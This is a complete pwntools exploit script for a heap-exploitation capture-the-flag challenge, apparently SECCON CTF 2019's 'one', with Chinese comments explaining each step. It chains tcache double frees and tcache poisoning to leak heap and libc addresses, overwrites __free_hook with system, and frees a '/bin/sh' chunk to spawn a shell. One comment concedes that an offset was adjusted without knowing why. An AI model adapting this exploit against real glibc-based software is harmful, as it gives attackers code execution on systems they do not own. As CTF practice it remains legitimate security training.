#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'

'''
Ref:
    https://www.anquanke.com/post/id/104760
    https://faraz.faith/2019-10-20-secconctf-2019-one/
'''

r = process('./one')
libc = ELF('./libc-2.27.so')

def cmd(x):
    r.recvuntil('> ')
    r.sendline(str(x))
    
def add(s):
    cmd(1)
    r.recvuntil('> ')
    r.sendline(s) # 0x40

def show():
    cmd(2)

def delete():
    cmd(3)


add('a')


delete() # tcache_dup
delete()
delete() # 這兩個是為了後面 tcache double free 的時候，那個bin的個數不要壞掉
delete()

show()

leak = u64(r.recvuntil('\n')[:-1].ljust(8,b'\x00'))
print('[*] leak heap : ',hex(leak))

add(p64(0)) # 把 tcachelist 切斷 (把 fd 設成 0)
add('a'*8) # 把 tcachelist 假裝拿完

add((p64(leak) + p64(0x91)) * 3)
add('b')
add('c')
add('d')

delete()
delete()

'''
tcache poisoning 對於已經在tcache的chunk，
更改它的fd即可在malloc任意分配地址。
(如果fd是空的會發生 free(): invalid pointer)
'''
add(p64(leak + 0x60)) 
add('a')
add('a') # 拿到 0x91 的chunk

'''
0x90不在fastbin的範圍中，且chunk也不跟top chunk相連，
所以當tcache_entry滿了之後，會放到unsorted bin中。
'''
for i in range(8):
    delete()

show()

libc_base = u64(r.recvuntil('\n')[:-1].ljust(8,b'\x00')) - 0x3ebca0
print('[*] libc_base :', hex(libc_base))

system = libc_base + libc.symbols[b'__libc_system'] + 0xa0 # 不知道為什麼位址跑掉了
print(hex(system))
free_hook = libc_base + libc.symbols[b'__free_hook']

add('a')
delete() # tcache double free 呼應前面 (因為中途會弄斷bin)
delete()

add(p64(free_hook)) # tcache 可以不管chunk什麼的任意控制分配為止
add('a')
input('#')
add(p64(system))

input('#')
add('/bin/sh\x00')
input('#')
delete()


r.interactive()
